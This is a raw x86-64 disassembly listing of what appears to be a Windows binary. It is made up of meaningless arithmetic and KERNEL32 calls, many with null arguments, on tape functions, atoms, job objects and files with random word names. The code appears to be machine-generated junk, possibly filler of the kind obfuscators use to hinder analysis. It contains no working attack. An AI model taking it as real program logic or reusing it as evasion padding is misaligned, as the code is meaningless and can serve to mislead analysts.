xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
movsx eax, byte [rsp + 0x96]
movsx ecx, byte [rsp + 0x8b]
sub eax, ecx
mov rcx, qword [rsp + 0x9338]
mov byte [rcx], al
lea rax, [rsp + 0xe54]
mov qword [rsp + 0xad80], rax
mov rcx, qword [rsp + 0x9978]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4824], eax
mov rax, qword [0x1401e7510]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa658]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a50]
mov word [rcx], ax
mov rax, qword [rsp + 0xa0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc8]
xor eax, ecx
mov word [rsp + 0xe18], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4658], eax
lea rax, [rsp + 0x43f8]
mov qword [rsp + 0xad88], rax
mov rax, qword [rsp + 0x97f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401e6008]
shr rax, cl
mov qword [rsp + 0xa830], rax
mov rax, qword [rsp + 0x9658]
mov eax, dword [rax]
mov dword [rsp + 0x4828], eax
mov r9d, 2
lea r8, [rsp + 0xacf0]
mov rdx, qword [rsp + 0x8db0]
mov rcx, qword [rsp + 0xa190]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4234], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xad90], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d78], rax
lea rdx, [rsp + 0x4438]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4558], eax
mov rax, qword [rsp + 0xa578]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaad0]
mov qword [rsp + 0xad98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad98]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9308]
mov qword [rcx], rax
lea rax, [rsp + 0xc1]
mov qword [0x1401e7750], rax
lea rcx, [rsp + 0x26a58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xe74]
mov qword [rsp + 0xada0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
mov r9d, 1
lea r8, [rsp + 0x9c60]
mov rdx, qword [rsp + 0xada8]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4500], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movsx eax, word [rsp + 0xd98]
movsx ecx, word [rsp + 0xe28]
or eax, ecx
mov word [rsp + 0xd04], ax
mov rax, qword [0x1401e7718]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0xada0]
movzx eax, word [rax]
mov word [rsp + 0xf08], ax
lea rcx, [rsp + 0x25610]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsp + 0xace8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4274], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xadb0], rax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43dc], eax
lea rax, [0x1401e6008]
mov qword [rsp + 0xadb8], rax
mov eax, dword [rsp + 0x44a8]
mov ecx, dword [rsp + 0x45d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0x9c48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9648], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x26908]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [0x1401e7518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x97e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e602a], al
lea rax, [rsp + 0x90]
mov qword [rsp + 0xadc0], rax
movsx eax, word [rsp + 0xe68]
movsx ecx, word [rsp + 0xd54]
add eax, ecx
mov word [rsp + 0xb64], ax
movzx eax, byte [0x1401e604a]
mov byte [rsp + 0x105], al
movsx eax, word [rsp + 0xdb4]
mov rcx, qword [rsp + 0x9eb8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9938]
mov word [rcx], ax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0xaa60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa908]
mov qword [rcx], rax
mov rax, qword [rsp + 0x94c0]
mov qword [rsp + 0xadc8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xadd0], rax
mov eax, dword [rsp + 0x46f4]
mov ecx, dword [rsp + 0x4420]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x46a4], eax
lea rax, [rsp + 0x47c0]
mov qword [rsp + 0xadd8], rax
movzx eax, byte [0x1401e604f]
mov byte [0x1401e7493], al
mov rax, qword [rsp + 0x9a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa9f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xce0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea rax, [rsp + 0x69]
mov qword [rsp + 0xade0], rax
movzx eax, byte [rsp + 0x9b]
mov rcx, qword [0x1401e7538]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x74], al
movzx eax, word [rsp + 0xee8]
mov rcx, qword [rsp + 0x92a0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xcc0], ax
lea rax, [rsp + 0x452c]
mov qword [rsp + 0xade8], rax
mov edx, 0xc11
mov rcx, qword [rsp + 0x8fd8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x47d4], eax
mov rax, qword [rsp + 0xa998]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9610]
sar rax, cl
mov qword [rsp + 0xa580], rax
mov edx, 0x5e2758
mov rcx, qword [rsp + 0x9c80]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x482c], eax
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
mov qword [rsp + 0xadf0], rax
mov rax, qword [rsp + 0x9dc0]
mov rcx, qword [rsp + 0x92f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4624], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [0x1401e6067]
mov rcx, qword [rsp + 0xa188]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e601c], al
mov rax, qword [rsp + 0x9f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x93c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe40], ax
mov rax, qword [rsp + 0x95a8]
movzx eax, word [rax]
mov word [rsp + 0xf0c], ax
mov rax, qword [rsp + 0xa508]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa920]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd4], al
lea rax, [rsp + 0xd2c]
mov qword [rsp + 0xadf8], rax
mov rax, qword [rsp + 0x9030]
mov rcx, qword [rsp + 0x98b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xac40]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xd5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbbc], ax
mov rax, qword [rsp + 0x9b18]
mov rcx, qword [rsp + 0x9880]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xadb8]
mov qword [rcx], rax
lea rax, [rsp + 0x473c]
mov qword [rsp + 0xae00], rax
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4830], eax
mov rax, qword [rsp + 0x9470]
mov rcx, qword [rsp + 0xa058]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x96a8]
mov qword [rcx], rax
mov rax, qword [0x1401e75c0]
movzx eax, word [rax]
mov word [rsp + 0xf10], ax
mov rcx, qword [rsp + 0xa1a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xc2]
mov qword [0x1401e7758], rax
mov rax, qword [rsp + 0x9678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaba0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe2], al
movsx eax, word [0x1401e76b8]
mov rcx, qword [rsp + 0x9cd8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe18], ax
lea rax, [rsp + 0xbe4]
mov qword [rsp + 0xae08], rax
mov eax, dword [rsp + 0x4760]
mov ecx, dword [rsp + 0x476c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa8e0], rax
mov rax, qword [rsp + 0x9d58]
mov eax, dword [rax]
mov dword [rsp + 0x4834], eax
mov rax, qword [rsp + 0x9968]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xace0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f68], rax
lea rax, [rsp + 0x9df0]
mov qword [rsp + 0xae10], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8f10], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xae18], rax
mov rax, qword [rsp + 0x99a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xda]
sar eax, cl
mov byte [rsp + 0xa1], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xce8
mov r9d, 0x3009
mov r8d, 0x10d1ae00
mov edx, 1
mov rcx, qword [rsp + 0x9dd0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4414], eax
mov rax, qword [rsp + 0xa370]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9a]
shl eax, cl
mov byte [0x1401e605a], al
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0xbd]
or eax, ecx
mov rcx, qword [rsp + 0x9af0]
mov byte [rcx], al
lea rax, [0x1401e60c0]
mov qword [rsp + 0xae20], rax
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa7f0]
mov eax, dword [rax]
mov dword [rsp + 0x4838], eax
mov rax, qword [rsp + 0x9128]
mov rcx, qword [rsp + 0xa000]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa10], rax
lea rcx, [rsp + 0x26a58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xa938]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa890]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bb0], rax
mov eax, dword [rsp + 0x4630]
mov dword [rsp + 0x483c], eax
movzx eax, word [rsp + 0xcec]
mov rcx, qword [rsp + 0x9d40]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa8a0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x9158]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0xd64]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7428]
mov word [rcx], ax
movzx eax, word [rsp + 0xe04]
mov word [rsp + 0xf14], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.C:_streptococciPoseursonlookingMartyr
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xae28], rax
mov rax, qword [rsp + 0x94b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9af0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8a], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf0], al
mov rax, qword [rsp + 0xa238]
mov rax, qword [rax]
mov qword [rsp + 0xae30], rax
mov rax, qword [rsp + 0x9a78]
mov ecx, dword [rsp + 0x46d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45b4], eax
mov rax, qword [rsp + 0x8c70]
mov qword [rsp + 0xae38], rax
mov rax, qword [rsp + 0x9fe8]
mov rcx, qword [rsp + 0xa150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45d0], eax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0xae40], rax
lea rdx, [rsp + 0x46ac]
mov rcx, qword [rsp + 0x9c80]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4410], eax
mov rax, qword [rsp + 0x9b28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd78]
and eax, ecx
mov word [0x1401e60c8], ax
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6d]
sar eax, cl
mov rcx, qword [rsp + 0xa708]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:BreathedFormulations
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xae48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa288], rax
movsx eax, word [rsp + 0xf00]
movsx ecx, word [rsp + 0xe10]
shl eax, cl
mov rcx, qword [rsp + 0xabe8]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x11ca
mov r9d, 0xaa2
mov r8d, 0xada
mov edx, 0x2a65
mov rcx, qword [rsp + 0xaaa8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x481c], eax
lea rax, [rsp + 0xbd8]
mov qword [rsp + 0xae50], rax
lea rdx, [rsp + 0x4540]
mov rcx, qword [rsp + 0x9b90]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4840], eax
movzx eax, byte [rsp + 0xab]
mov rcx, qword [0x1401e7748]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc1], al
movzx ecx, word [rsp + 0xc54]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc7c], ax
mov rax, qword [rsp + 0x90a0]
mov eax, dword [rax]
mov dword [rsp + 0x4844], eax
mov rax, qword [rsp + 0xadb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9048]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2a0], rax
mov rax, qword [rsp + 0xa2e0]
mov ecx, dword [rsp + 0x4228]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa320]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa5f8]
mov rax, qword [rax]
mov qword [rsp + 0xae58], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0xa450]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0xd50]
mov rcx, qword [rsp + 0x9c90]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e60b8], ax
mov rax, qword [rsp + 0x9f48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa920]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x77], al
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0xae60], rax
mov rax, qword [rsp + 0xa240]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9918]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0x9f]
mov rcx, qword [rsp + 0xa2d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfd], al
lea rax, [rsp + 0xac38]
mov qword [rsp + 0xae68], rax
mov rax, qword [rsp + 0x9ac8]
mov rcx, qword [rsp + 0x9ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4204], eax
lea rdx, [rsp + 0x439c]
mov rcx, qword [rsp + 0xa350]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x444c], eax
lea rcx, str.Soothsayers_Libretti_exclusionary_Rials_Admiral
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xf18], ax
lea rax, [0x1401e7420]
mov qword [rsp + 0xae70], rax
mov rax, qword [rsp + 0x9068]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9710]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xa208]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x41e0], eax
movzx eax, word [rsp + 0xe54]
mov rcx, qword [rsp + 0xa8a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e60cc], ax
lea rdx, [rsp + 0xae78]
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4470], eax
mov rax, qword [0x1401e75f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xac]
add eax, ecx
mov rcx, qword [rsp + 0xa1c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9f30]
movzx eax, word [rax]
mov word [rsp + 0xf1c], ax
mov r9d, 2
lea r8, [rsp + 0xae78]
mov rdx, qword [rsp + 0xada8]
mov rcx, qword [rsp + 0x9aa8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4824], eax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xd1c]
add eax, ecx
mov rcx, qword [rsp + 0xacb8]
mov word [rcx], ax
movzx eax, word [rsp + 0xe10]
mov word [rsp + 0xf20], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0xab60]
mov rcx, qword [rsp + 0xa2c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ff0]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.Inconspicuously_womanise
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xe8c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movzx ecx, word [rsp + 0xd94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf24], ax
mov rax, qword [rsp + 0x9420]
mov eax, dword [rax]
mov dword [rsp + 0x4848], eax
mov rax, qword [rsp + 0x9ec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa958]
mov qword [rsp + 0xae80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae80]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xa8b0]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
lea rcx, [rsp + 0x9c60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x44c4]
mov ecx, dword [rsp + 0x4728]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4698], eax
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9000]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401e60d0], ax
mov rax, qword [rsp + 0xa4d0]
movzx eax, byte [rax]
mov byte [rsp + 0x106], al
mov rax, qword [rsp + 0x98a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
xor eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x98a0]
movzx eax, byte [rax]
mov byte [rsp + 0x107], al
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0xadf8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0xa1a0]
mov rcx, qword [rsp + 0xa660]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9908], rax
lea rcx, [rsp + 0x268d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xa168]
mov qword [rsp + 0xae88], rax
mov rax, qword [rsp + 0xa068]
mov rcx, qword [rsp + 0xa990]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa210]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4634]
mov dword [rsp + 0x484c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.C:ApprovingLivablelongingDifferingunblemished
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xae90], rax
movsx eax, word [rsp + 0xf1c]
movsx ecx, word [0x1401e60a0]
and eax, ecx
mov word [0x1401e60b4], ax
movzx eax, word [rsp + 0xd10]
movzx ecx, word [rsp + 0xbd0]
imul eax, ecx
mov word [rsp + 0xc84], ax
mov rax, qword [rsp + 0xa2c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbf]
sub eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [0x1401e75c8]
movzx eax, byte [rax]
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0xadc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x103]
sub eax, ecx
mov byte [rsp + 0xd2], al
mov qword [rsp + 0x20], 0
mov r9d, 0x2481
mov r8d, 0x33da
mov edx, 0xcc
mov rcx, qword [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4804], eax
mov rax, qword [rsp + 0x90f0]
mov eax, dword [rax]
mov dword [rsp + 0x4850], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x9a20]
mov rcx, qword [rsp + 0x9150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4790], eax
mov rax, qword [rsp + 0xa5e0]
mov rcx, qword [rsp + 0xae10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9bb0], rax
mov rax, qword [rsp + 0x92d8]
mov rax, qword [rax]
mov qword [rsp + 0xae98], rax
lea rax, [rsp + 0xd6]
mov qword [0x1401e7760], rax
movsx eax, word [0x1401e6040]
movsx ecx, word [rsp + 0xe94]
sub eax, ecx
mov rcx, qword [rsp + 0x9f58]
mov word [rcx], ax
lea rdx, [rsp + 0x4478]
mov rcx, qword [rsp + 0x9300]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4854], eax
mov rax, qword [rsp + 0xacb8]
movzx eax, word [rax]
mov word [rsp + 0xf28], ax
movzx eax, word [rsp + 0xcf0]
mov rcx, qword [rsp + 0x9660]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc8c], ax
lea rax, [rsp + 0xdd4]
mov qword [rsp + 0xaea0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8cf8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor edx, edx
mov rax, qword [rsp + 0x9248]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9ac8]
div dword [rcx]
mov dword [rsp + 0x47a8], eax
mov rax, qword [rsp + 0x9ad0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa4f8]
mov qword [rsp + 0xaea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaea8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x47e8], eax
mov rax, qword [rsp + 0x9518]
mov qword [rsp + 0xaeb0], rax
mov rax, qword [rsp + 0x9d70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaa90]
shr rax, cl
mov qword [rsp + 0x9390], rax
mov rax, qword [rsp + 0xa248]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x108]
xor eax, ecx
mov byte [0x1401e743f], al
lea rax, [rsp + 0xbf]
mov qword [rsp + 0xaeb8], rax
mov rax, qword [rsp + 0x9960]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xec]
and eax, ecx
mov rcx, qword [rsp + 0x9f80]
mov byte [rcx], al
movzx eax, word [rsp + 0xef4]
mov rcx, qword [0x1401e7720]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
lea rax, [rsp + 0xc6]
mov qword [rsp + 0xaec0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x9ee0]
mov ecx, dword [rsp + 0x46d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4228], eax
lea rax, [rsp + 0x9700]
mov qword [rsp + 0xaec8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:_addressabilityRaniworries
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xaed0], rax
mov rax, qword [rsp + 0x97b8]
mov rcx, qword [rsp + 0x99f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rsp + 0xaa80]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x471c], eax
mov rax, qword [rsp + 0x9328]
mov rcx, qword [rsp + 0xaa88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xadd8]
mov dword [rcx], eax
mov rax, qword [0x1401e76b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xed0]
sub eax, ecx
mov word [0x1401e6004], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rax, [rsp + 0xe78]
mov qword [rsp + 0xaed8], rax
movzx eax, byte [rsp + 0xda]
movzx ecx, byte [rsp + 0xf4]
and eax, ecx
mov byte [rsp + 0xfc], al
lea rax, [0x1401e746f]
mov qword [rsp + 0xaee0], rax
movzx ecx, word [rsp + 0xd28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0x9f30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd38]
add eax, ecx
mov rcx, qword [rsp + 0x9d18]
mov word [rcx], ax
mov rax, qword [rsp + 0x9928]
mov qword [rsp + 0xaee8], rax
mov rax, qword [rsp + 0xad88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4708]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x467c], eax
mov rax, qword [rsp + 0xad00]
mov rcx, qword [rsp + 0x9190]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x96f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9328]
mov eax, dword [rax]
mov dword [rsp + 0x4858], eax
mov rax, qword [rsp + 0x93f8]
movsx eax, word [rax]
movsx ecx, word [0x1401e74e0]
add eax, ecx
mov word [rsp + 0xf1c], ax
lea rax, [rsp + 0xcc0]
mov qword [0x1401e7768], rax
